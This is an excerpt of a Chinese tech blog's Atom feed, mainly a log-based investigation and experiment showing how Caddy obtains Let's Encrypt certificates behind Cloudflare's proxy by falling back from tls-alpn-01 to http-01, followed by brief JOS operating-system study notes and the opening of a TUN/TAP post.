&lt;p&gt;本文用真实日志证据 + 一个全新子域的主动实验,完整回答:&lt;strong&gt;橙云下 Caddy 能不能自动签发&#x2F;续期,走的是什么路径,以及&quot;回退&quot;到底是怎么发生的&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;di-yi-bu-zhi-du-qu-zheng-li-shi-xu-qi-dao-di-zou-de-na-tiao-lu&quot;&gt;第一步:只读取证——历史续期到底走的哪条路&lt;&#x2F;h1&gt;
&lt;p&gt;先不新建任何配置,翻 VPS 上已有的证据(caddy 证书存储 + &lt;code&gt;journalctl -u caddy&lt;&#x2F;code&gt;):&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zheng-ju-1-zheng-shu-de-qian-fa-xu-qi-shi-jian-xian&quot;&gt;证据 1:证书的签发&#x2F;续期时间线&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;web1: notBefore=Jun 27 | notAfter=Sep 25   (文件 mtime: Jun 27)
web2: notBefore=Jun 27 | notAfter=Sep 25
relay0: notBefore=Jun 27 | notAfter=Sep 25
relay1: notBefore=Jun 26 | notAfter=Sep 23
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;再配合日志里的 &lt;code&gt;replaced certificate in cache&lt;&#x2F;code&gt; 事件,还原出完整续期史:&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;时间&lt;&#x2F;th&gt;&lt;th&gt;事件&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;2-27&lt;&#x2F;td&gt;&lt;td&gt;首次签发(灰云,5 个域名含 web0)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;4-28&lt;&#x2F;td&gt;&lt;td&gt;全员续期成功(含 web0)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;6-26&#x2F;27&lt;&#x2F;td&gt;&lt;td&gt;4 个域名续期成功(web0 掉队——DNS 已被指到另一台机器)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;7-13 后&lt;&#x2F;td&gt;&lt;td&gt;tls-alpn 直连验证骤停(每天 4 次 -&amp;gt; 总共 4 次)——开启橙云的时间点&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;zheng-ju-2-shui-zai-lian-yuan-zhan-zuo-tls-alpn-yan-zheng&quot;&gt;证据 2:谁在连源站做 tls-alpn 验证?&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;journalctl&lt;&#x2F;code&gt; 里 &quot;tls-alpn challenge&quot; 事件 483 次,来源 IP 98% 是 LE 官方验证服务器。&lt;strong&gt;LE 验证服务器能直连源站 443 协商 acme-tls&#x2F;1,只可能在灰云下发生&lt;&#x2F;strong&gt;(橙云下 CF 边缘会终结 TLS)。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zheng-ju-3-221-ci-shi-bai-quan-bu-lai-zi-yi-ge-yu-ming&quot;&gt;证据 3:221 次失败全部来自一个域名&lt;&#x2F;h2&gt;
&lt;p&gt;&quot;could not get certificate from issuer&quot; 共 221 次,&lt;strong&gt;按域名拆分 100% 是 web0&lt;&#x2F;strong&gt;:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;web0: n=221  first=Jun 27  last=Aug 10  error: 2.3.4.5: remote error: tls: internal error
web1&amp;#x2F;web2&amp;#x2F;relay0&amp;#x2F;relay1: n=0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;web0 的 DNS 记录被指到了另一台 VPS(2.3.4.5),LE 验证连接打到那台没有 ACME 服务的机器上,必然失败。它成了天然对照组:证书 7-27 过期,每天制造 4 次失败 + 216 条 &quot;queuing for renewal&quot; 日志噪音。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zheng-ju-4-http-01-cong-wei-bei-shi-ji-shi-yong-guo&quot;&gt;证据 4:http-01 从未被实际使用过&lt;&#x2F;h2&gt;
&lt;p&gt;&quot;served key authorization&quot;(Caddy 服务 http-01 token 的事件)全日志 &lt;strong&gt;0 次&lt;&#x2F;strong&gt;。而 &lt;code&gt;&#x2F;.well-known&#x2F;acme-challenge&#x2F;*&lt;&#x2F;code&gt; 的请求日志有 496 条,全是 &quot;no information found&quot;(无活动挑战时的空请求)——但&lt;strong&gt;这些请求能到达源站,恰好证明 http-01 经 CF 转发的路径本身是通的&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;di-yi-bu-jie-lun&quot;&gt;第一步结论&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;过去所有成功续期(4-28、6-26&#x2F;27)&lt;strong&gt;都发生在灰云下,走 tls-alpn-01 直连&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;橙云下的续期一次都还没发生过&lt;&#x2F;strong&gt;——&quot;开启代理后仍能续期&quot;目前只是未验证的信念&lt;&#x2F;li&gt;
&lt;li&gt;流传的&quot;第一次失败是 80 端口没放行&quot;不成立(安全组一直放行 22&#x2F;80&#x2F;443)&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h1 id=&quot;di-er-bu-zhu-dong-shi-yan-quan-xin-zi-yu-cheng-yun-kai-ju&quot;&gt;第二步:主动实验——全新子域橙云开局&lt;&#x2F;h1&gt;
&lt;p&gt;理论上的预期(来自 ACME 机制):橙云下 tls-alpn-01 必然失败(LE 连到 CF 边缘,协商不了 acme-tls&#x2F;1);Caddy 会&quot;回退&quot;到 http-01;CF 把 &lt;code&gt;&#x2F;.well-known&#x2F;acme-challenge&#x2F;*&lt;&#x2F;code&gt; 转发到源站 80&#x2F;443,Caddy 服务 token,签发成功。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;cao-zuo&quot;&gt;操作&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;CF 面板新建 &lt;code&gt;cftest&lt;&#x2F;code&gt; 子域 A 记录 -&amp;gt; VPS IP,&lt;strong&gt;代理状态直接选橙云&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;等 &lt;code&gt;dig&lt;&#x2F;code&gt; 解析到 CF IP(104.21.x&#x2F;172.67.x)确认橙云生效&lt;&#x2F;li&gt;
&lt;li&gt;VPS 写最小测试站点并重启 caddy:&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;caddyfile&quot; class=&quot;language-caddyfile &quot;&gt;&lt;code class=&quot;language-caddyfile&quot; data-lang=&quot;caddyfile&quot;&gt;# &amp;#x2F;etc&amp;#x2F;caddy&amp;#x2F;sites&amp;#x2F;cftest.conf
cftest.demo.com {
    respond &amp;quot;ok&amp;quot;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意:233boy 的 Caddyfile 全局块有 &lt;code&gt;admin off&lt;&#x2F;code&gt;,&lt;code&gt;systemctl reload&lt;&#x2F;code&gt; 走 admin API(:2019)会被拒,只能 &lt;code&gt;systemctl restart&lt;&#x2F;code&gt;(秒级中断,不影响其它入口)。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ri-zhi-shi-lu-jie-xuan&quot;&gt;日志实录(节选)&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;12:46:12  trying to solve challenge  identifier=cftest.demo.com  challenge_type=tls-alpn-01
12:46:13  challenge failed  challenge_type=tls-alpn-01
          detail: Cannot negotiate ALPN protocol &amp;quot;acme-tls&amp;#x2F;1&amp;quot; for tls-alpn-01 challenge
          (attempt:1, max_attempts:3)
          ...同 order 内再重试 2 次,全部失败...
          [跨 order 切换]
          trying to solve challenge  challenge_type=http-01
          served key authentication × 4~5
          (LE 多视角验证,从不同网络位置各取一次 token,全部经 CF 转发到达源站)
12:47 左右  certificate obtained successfully
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;wai-bu-yan-zheng&quot;&gt;外部验证&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;经 CF 访问 &lt;code&gt;https:&#x2F;&#x2F;cftest.demo.com&#x2F;&lt;&#x2F;code&gt; -&amp;gt; 返回 &lt;code&gt;ok&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;源站证书:&lt;code&gt;CN = cftest.demo.com&lt;&#x2F;code&gt;,Let&#x27;s Encrypt 签发,有效期 8-21 -&amp;gt; 11-19(90 天)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;实验全链路通过,耗时约 1~2 分钟,全程无需人工干预。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;ji-zhi-jie-shi&quot;&gt;机制解释&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;1-wei-shen-me-tls-alpn-01-zai-cheng-yun-xia-bi-shi-bai&quot;&gt;1. 为什么 tls-alpn-01 在橙云下必失败&lt;&#x2F;h2&gt;
&lt;p&gt;ACME 的 tls-alpn-01 要求 LE 验证服务器与&lt;strong&gt;源站&lt;&#x2F;strong&gt; 443 端口协商 &lt;code&gt;acme-tls&#x2F;1&lt;&#x2F;code&gt; ALPN 协议。橙云下域名解析到 CF 边缘,CF 终结 TLS,LE 的握手根本到不了源站,报 &lt;code&gt;Cannot negotiate ALPN protocol &quot;acme-tls&#x2F;1&quot;&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-hui-tui-shi-kua-order-shi-xian-de-bu-shi-yi-ci-ding-dan-nei-xian-a-hou-b&quot;&gt;2. &quot;回退&quot;是跨 order 实现的,不是一次订单内先 A 后 B&lt;&#x2F;h2&gt;
&lt;p&gt;ACME 流程里&quot;order&quot;是一次证书订单:客户端提交域名列表 -&amp;gt; CA 返回待完成的挑战 -&amp;gt; 全部验证通过才签发。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;同一 order 内&lt;&#x2F;strong&gt;:挑战验证失败但订单未作废,可重试(&lt;code&gt;max_attempts:3&lt;&#x2F;code&gt; = 这单最多试 3 次)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;跨 order&lt;&#x2F;strong&gt;:3 次全失败 -&amp;gt; 订单废弃 -&amp;gt; Caddy 新开一单,禁用刚失败的挑战类型,换 http-01&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;所以&quot;回退&quot;发生在&lt;strong&gt;订单级别&lt;&#x2F;strong&gt;,中间有重试退避延迟。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;3-wei-shen-me-http-01-neng-chuan-guo-cf&quot;&gt;3. 为什么 http-01 能穿过 CF&lt;&#x2F;h2&gt;
&lt;p&gt;http-01 走的是 &lt;code&gt;http:&#x2F;&#x2F;域名&#x2F;.well-known&#x2F;acme-challenge&#x2F;&amp;lt;token&amp;gt;&lt;&#x2F;code&gt;。CF 代理对 80 端口的请求是&lt;strong&gt;普通转发&lt;&#x2F;strong&gt;(不涉及 TLS 终止),&lt;code&gt;&#x2F;.well-known&#x2F;acme-challenge&#x2F;*&lt;&#x2F;code&gt; 原样转发到源站 80;Caddy 在 80&#x2F;443 上都注册了挑战处理器,服务 token,LE 多视角验证从多个位置各取一次,全部成功。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;4-hong-fa-shi-ji-yu-ke-hu-duan-fang-wen-wan-quan-wu-guan&quot;&gt;4. 触发时机:与客户端访问完全无关&lt;&#x2F;h2&gt;
&lt;p&gt;签发&#x2F;续期由 Caddy &lt;strong&gt;主动自动&lt;&#x2F;strong&gt;执行:新域名进配置 -&amp;gt; 加载时自动签发;续期按 LE 的 ARI(ACME Renewal Information)窗口自动进行。普通 https 访问只是&quot;消费&quot;证书,既不能触发也不能阻止。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;gua-yong-bian-jie-yu-zhu-yi-shi-xiang&quot;&gt;适用边界与注意事项&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;前提是源站 80 可达&lt;&#x2F;strong&gt;(或 443 可达且无死锁)。安全组&#x2F;防火墙必须放行 80,否则 http-01 转发到了也取不到 token&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;潜在死锁场景&lt;&#x2F;strong&gt;:CF 开启 &quot;Always Use HTTPS&quot; + SSL 模式为 &lt;strong&gt;Full (strict)&lt;&#x2F;strong&gt; 时,http-01 请求被边缘 301 到 https 再回源,Full (strict) 要求源站证书&lt;strong&gt;当前有效&lt;&#x2F;strong&gt;——对首次签发(源站还没有证书)是死锁。本次实验的 CF 配置下没有这个死锁,直接成功&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;DNS-01 仍是最稳方案&lt;&#x2F;strong&gt;:需要 CF API token,优点是完全不依赖端口&#x2F;代理状态,适合 Full (strict)+Always Use HTTPS 这类配置,或 80 端口被运营商封禁的场景&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;别让 DNS 记录指错机器&lt;&#x2F;strong&gt;:web0 的教训——DNS 指到没有 ACME 服务的机器后,证书过期、续期永远失败,每天产生大量噪音日志。清理配置后噪音消失&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h1 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h1&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;说法&lt;&#x2F;th&gt;&lt;th&gt;结论&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&quot;CF 橙云会拦截 ACME 验证&quot;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;不准确&lt;&#x2F;strong&gt;。拦截的只是 tls-alpn-01;http-01 经 CF 的 80 端口转发正常工作&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&quot;必须 DNS-01 或临时关代理&quot;&lt;&#x2F;td&gt;&lt;td&gt;对 Caddy 不必须。tls-alpn 失败后自动跨 order 回退 http-01,1~2 分钟完成签发&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&quot;续期失败是因为 80 端口没开&quot;&lt;&#x2F;td&gt;&lt;td&gt;对这台 VPS 不成立(80 一直放行)。真正的失败源是 DNS 指错机器的 web0&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&quot;橙云下续期也能正常&quot;&lt;&#x2F;td&gt;&lt;td&gt;实验证实:能。tls-alpn 失败 -&amp;gt; http-01 成功,全程自动&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;strong&gt;验证方法论&lt;&#x2F;strong&gt;:先翻证书存储的签发时间 + journal 日志的 ACME 事件还原历史(0 风险),再建全新子域橙云开局做主动实验(可随时清理),比争论理论高效得多。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;chang-jian-yi-wen-faq&quot;&gt;常见疑问(FAQ)&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;q1-tiao-zhan-de-fa-qi-fang-shi-shui-token-shi-shui-sheng-cheng-de&quot;&gt;Q1:挑战的发起方是谁?token 是谁生成的?&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;发起方永远是 Caddy(客户端)&lt;&#x2F;strong&gt;,token 是 CA 在响应里生成的。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;步骤&lt;&#x2F;th&gt;&lt;th&gt;方向&lt;&#x2F;th&gt;&lt;th&gt;内容&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;①&lt;&#x2F;td&gt;&lt;td&gt;Caddy → CA&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;newOrder&lt;&#x2F;code&gt;(我要给 cftest.demo.com 签证书)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;②&lt;&#x2F;td&gt;&lt;td&gt;Caddy → CA&lt;&#x2F;td&gt;&lt;td&gt;获取 authorization&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;③&lt;&#x2F;td&gt;&lt;td&gt;CA → Caddy(&lt;strong&gt;响应&lt;&#x2F;strong&gt;)&lt;&#x2F;td&gt;&lt;td&gt;challenge 对象,内含 &lt;strong&gt;token——CA 侧现场生成的 128 位随机数&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;token 必须由 CA 生成:key authorization = &lt;code&gt;token + &quot;.&quot; + 账户公钥指纹&lt;&#x2F;code&gt;,CA 手里握着 token 的权威副本,验证时才比对得上。Caddy 只是把它挂到挑战路径&#x2F;证书扩展里展示。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;q2-http-01-ruo-bei-zhong-ding-xiang-dao-443-yuan-zhan-huan-mei-you-zheng-shu-neng-qu-dao-nei-rong-ma&quot;&gt;Q2:http-01 若被重定向到 443,源站还没有证书能取到内容吗?&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;默认根本不会重定向&lt;&#x2F;strong&gt;。Caddy 对 &lt;code&gt;&#x2F;.well-known&#x2F;acme-challenge&#x2F;*&lt;&#x2F;code&gt; 不执行 HTTP→HTTPS 自动重定向(挑战处理器优先级最高),VA 直接走 80 明文取 token。&lt;&#x2F;p&gt;
&lt;p&gt;只有 CF 开启 &quot;Always Use HTTPS&quot; 时才会 301 到 443,此时:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;TLS 握手由 &lt;strong&gt;CF 边缘自己的 Universal SSL 证书&lt;&#x2F;strong&gt;完成——与源站证书毫无关系&lt;&#x2F;li&gt;
&lt;li&gt;CF 回源按 SSL 模式:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Flexible&lt;&#x2F;strong&gt; → CF 以明文连源站 &lt;strong&gt;80&lt;&#x2F;strong&gt;,照样取到&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Full&lt;&#x2F;strong&gt; → CF 连源站 443,Caddy 在证书签发期间用&lt;strong&gt;临时自签证书&lt;&#x2F;strong&gt;完成握手;RFC 8555 §8.3 明确验证时不校验证书链,照样取到&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Full (strict)&lt;&#x2F;strong&gt; → 临时证书校验失败 → 526 → 挑战失败(唯一死锁场景)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;结论:&lt;strong&gt;无论哪条路径,token 最终都是经 80 端口取到的&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;q3-tls-alpn-01-shi-tls-qing-qiu-huan-shi-http-qing-qiu&quot;&gt;Q3:tls-alpn-01 是 TLS 请求还是 HTTP 请求?&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;纯 TLS 层,没有任何 HTTP 消息&lt;&#x2F;strong&gt;:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;VA → 域名:443(TCP)
  ClientHello:  ALPN 扩展 = acme-tls&amp;#x2F;1
域名 → VA
  ServerHello:  ALPN = acme-tls&amp;#x2F;1
  Certificate:  特殊证书(id-pe-acmeIdentifier 扩展含 key authorization)
VA 校验扩展内容 → 断开连接
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;没有路径、没有 GET、没有 HTTP 层数据。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;q4-http-01-quan-shi-ming-wen-hen-rong-yi-bei-wei-zao-ma&quot;&gt;Q4:http-01 全是明文,很容易被伪造吗?&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;不是漏洞,因为它验证的不是保密性而是控制权&lt;&#x2F;strong&gt;——&quot;谁能响应这个随机路径,谁就控制该域名的 80 服务&quot;,这本身就是 CA 要证明的东西。防伪靠三层:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;token 即时生成 + 128 位随机(2^128 可能)&lt;&#x2F;strong&gt;:挑战发起时才掷骰子,无法预置、无法枚举&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;token 分发走加密通道&lt;&#x2F;strong&gt;:CA → Caddy 通过 TLS 加密 + JWS 签名的 ACME API(LE 的 443 端口)传输,劫持 80 端口的人看不到&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;多视角验证 + 短时效&lt;&#x2F;strong&gt;:从多个网络位置独立验证,单点路径被劫持时其他视角失败&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;伪造者要成功,必须实时劫持 VA → 源站的网络路径——那等于控制域名解析&#x2F;网络,&lt;strong&gt;本来就配拿到这张证书&lt;&#x2F;strong&gt;。对比 dns-01:它的 TXT 记录同样是公开明文,靠&quot;只有域名控制者能写记录&quot;防伪。三者都是&quot;证明控制权&quot;模型,没有一个依赖保密。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;q5-token-tong-guo-443-fen-fa-caddy-zi-ji-huan-mei-you-zheng-shu-a&quot;&gt;Q5:token 通过 443 分发?Caddy 自己还没有证书啊?&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;这个 443 是 Let&#x27;s Encrypt API 服务器的 443,不是源站的 443&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;TLS 只需要&lt;strong&gt;服务器端&lt;&#x2F;strong&gt;有证书:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Caddy(TLS 客户端,无需任何证书)
   │  主动连接
   ▼
acme-v02.api.letsencrypt.org:443(TLS 服务器)
   │  出示 LE 自己的服务器证书(公网权威 CA 签发)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Caddy 验证 LE 的服务器证书(像浏览器验证任何 https 网站),与&quot;为 cftest.demo.com 申请证书&quot;是&lt;strong&gt;两件独立的事&lt;&#x2F;strong&gt;。Caddy 的 443 只在 tls-alpn-01 验证时被 VA 连接,那时用的是临时证书,也不需要正式证书。整条链路不存在&quot;先有鸡还是先有蛋&quot;问题。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>JOS 学习笔记</title>
        <published>2026-08-16T17:49:39+08:00</published>
        <updated>2026-08-16T17:49:39+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/08/jos-learning-notes/"/>
        <id>https://vercel.juzhong.asia/2026/08/jos-learning-notes/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/08/jos-learning-notes/">&lt;h1 id=&quot;jos-xue-xi-bi-ji&quot;&gt;JOS 学习笔记&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;idt-gdt-ldt&quot;&gt;IDT&#x2F;GDT&#x2F;LDT&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;GDT&lt;&#x2F;strong&gt;（Global Descriptor Table）：全局描述符表，系统级段描述符&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;LDT&lt;&#x2F;strong&gt;（Local Descriptor Table）：局部描述符表，每个任务可有一张&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;IDT&lt;&#x2F;strong&gt;（Interrupt Descriptor Table）：中断描述符表&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;dong-tai-lian-jie-plt-yu-got&quot;&gt;动态链接：PLT 与 GOT&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;GOT&lt;&#x2F;strong&gt;（Global Offset Table）：存放外部函数地址的数据表&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;PLT&lt;&#x2F;strong&gt;（Procedure Linkage Table）：调用外部函数的额外代码段表&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;每个调用动态库函数的位置都需要这两项——PLT 负责跳转到 GOT 中记录的函数地址，首次调用时由动态链接器填充 GOT（延迟绑定）。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;jos-nei-he-diao-shi&quot;&gt;JOS 内核调试&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;make qemu-nox-gdb &amp;amp;
make gdb

# GDB 中加载引导程序和内核符号
gdb&amp;gt; symbol-file obj&amp;#x2F;boot&amp;#x2F;boot.out
gdb&amp;gt; b bootmain
gdb&amp;gt; add-symbol-file obj&amp;#x2F;kern&amp;#x2F;kernel
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;ye-biao-he-cr3&quot;&gt;页表和 CR3&lt;&#x2F;h2&gt;
&lt;p&gt;每个进程页目录中共享相同的内核页表项。进程切换时修改 CR3 切换地址空间，但内核部分的映射不变，内核临时映射只需修改共享的内核页表。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;chang-yong-hui-bian-qi&quot;&gt;常用汇编器&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;汇编器&lt;&#x2F;th&gt;&lt;th&gt;语法风格&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;GAS (GNU Assembler)&lt;&#x2F;td&gt;&lt;td&gt;AT&amp;amp;T&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;MASM (Microsoft)&lt;&#x2F;td&gt;&lt;td&gt;Intel&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;NASM&lt;&#x2F;td&gt;&lt;td&gt;Intel-like（更简洁）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;FASM (Flat Assembler)&lt;&#x2F;td&gt;&lt;td&gt;Intel&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;AT&amp;amp;T 与 Intel 语法关键差异：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;差异&lt;&#x2F;th&gt;&lt;th&gt;AT&amp;amp;T&lt;&#x2F;th&gt;&lt;th&gt;Intel&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;寄存器&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;%eax&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;eax&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;立即数&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;$1&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;操作数顺序&lt;&#x2F;td&gt;&lt;td&gt;源→目的&lt;&#x2F;td&gt;&lt;td&gt;目的←源&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;内存寻址&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;offset(%base, %index, scale)&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;[base + index*scale + offset]&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>TUN &#x2F; TAP 虚拟网卡技术详解:三层隧道与二层网桥的取舍</title>
        <published>2026-08-16T00:30:04+08:00</published>
        <updated>2026-08-16T00:30:04+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/08/tun-tap-technical-details/"/>
        <id>https://vercel.juzhong.asia/2026/08/tun-tap-technical-details/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/08/tun-tap-technical-details/">&lt;h1 id=&quot;bei-jing-ben-ji-wang-luo-zhan-li-na-xie-kan-bu-jian-de-wang-qia&quot;&gt;背景:本机网络栈里那些看不见的&quot;网卡&quot;&lt;&#x2F;h1&gt;
